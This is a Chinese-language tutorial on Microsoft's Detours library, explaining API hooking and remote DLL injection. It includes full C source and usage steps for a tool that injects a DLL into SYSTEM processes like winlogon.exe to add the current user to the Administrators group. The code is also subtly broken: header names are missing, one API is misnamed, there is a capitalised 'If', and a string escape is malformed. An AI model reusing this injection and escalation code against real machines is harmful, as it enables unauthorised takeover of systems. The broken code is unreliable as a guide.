用DETOURS库获取NT管理员权限

陈志敏 
---- Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是： 

拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。 
为一个已在运行的进程创建一新线程，装入自己的代码并运行。 
---- 本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有“调试程序”的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员（在NT4 SP3上）。 

一． Detours的原理 

---- 1． WIN32进程的内存管理 

---- 总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点： 

---- (1) 进程要执行的指令也放在虚存空间中 
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序 
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码 

---- 2． 拦截WIN32 API的原理 

---- Detours定义了三个概念： 

---- (1) Target函数：要拦截的函数，通常为Windows的API。 
---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。 
---- (3) Detour 函数：用来替代Target函数的函数。 

---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下： 

拦截前：Target _ Function：
  ；Target函数入口，以下为假想的常见的子程序入口代码
  push  ebp
  mov  ebp,  esp
  push  eax
  push  ebx
  Trampoline:
  ；以下是Target函数的继续部分
  ……

拦截后： Target _ Function：
  jmp  Detour_Function
  Trampoline:
  ；以下是Target函数的继续部分
  ……

  Trampoline_Function:
  ; Trampoline函数入口, 开头的5个字节与Target函数相同
  push  ebp
  mov  ebp,  esp
  push  eax
  push  ebx
  ；跳回去继续执行Target函数
  jmp  Target_Function+5
---- 3． 为一个已在运行的进程装入一个DLL 

---- 以下是其步骤： 

---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。 
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。 
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。 
---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。 

二． Detours库函数的用法 

---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。 

---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) 

---- 功能：从一DLL中找出一函数的入口地址 
---- 参数：pszModule是DLL名，pszFunction是函数名。 
---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址 
---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。 

---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name) 
---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。 

---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour) 
---- 功能：用Detour 函数拦截Target函数 
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 

---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour) 
---- 功能：恢复Target函数 
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 

---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) 
---- 功能：为一个已在运行的进程装入一个DLL 
---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名 

三． 程序实例 

---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。 

---- 先编写相应的DLL： 

/*admin.dll, 当进程装入时会把名为szAccountName
  的用户加入到Administrators本地组。*/

#include 
#include 
#include 
#include 

/*以下创建一共享段实现进程间的数据通讯，
  szAccountName 是用户名，bPrepared说明
  szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
  本地组的用户名，并通知DllMain
  已初始化szAccountName ，
  以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
  SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
  到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance, 
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
  case DLL_THREAD_ATTACH:
  if (bPrepared)
    ElevatePriv();
}
return TRUE;
} 

程序如下：

/*AddMeToAdministrators.exe 把当前用户加入到
  Administrators本地组。使用方法为：（1）
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/ 

#include 
#include 
#include 
#include 
#include 

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
  HANDLE hProcess, hAccessToken;
  wchar_t InfoBuffer[1000],szAccountName[200],
  szDomainName[200];
  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
  DWORD dwInfoBufferSize,dwAccountSize = 200,
  dwDomainSize = 200;
  SID_NAME_USE snu;

  hProcess = GetCurrentProcess();

  OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

  GetTokenInformation(hAccessToken,TokenUser,
  InfoBuffer,
      1000, &dwInfoBufferSize);

  LookupAccountSid(NULL, pTokenUser->User.Sid,
  szAccountName,
      &dwAccountSize,szDomainName, &dwDomainSize, &snu);
  wcscpy(szName,szDomainName); 
  wcscat(szName,L"\");
  wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) 
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), 
            TOKEN_ADJUST_PRIVILEGES, &hToken)) 
  return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int 
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
  wprintf(L"usage %s pid", argv[0]);
  return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d ",nProcessId);
---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/ 

if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
  printf("AdjustTokenPrivilege Fail %u ",
(UINT)GetLastError());
  return 1;
}
HANDLE  gNewHandle = 
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId); 
if (!gNewHandle){
  printf("OpenProcess Fail %u ",
(UINT)GetLastError());
  return 1;
}
  wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c:\temp\admin.dll")) {
  printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
  return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。 

四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。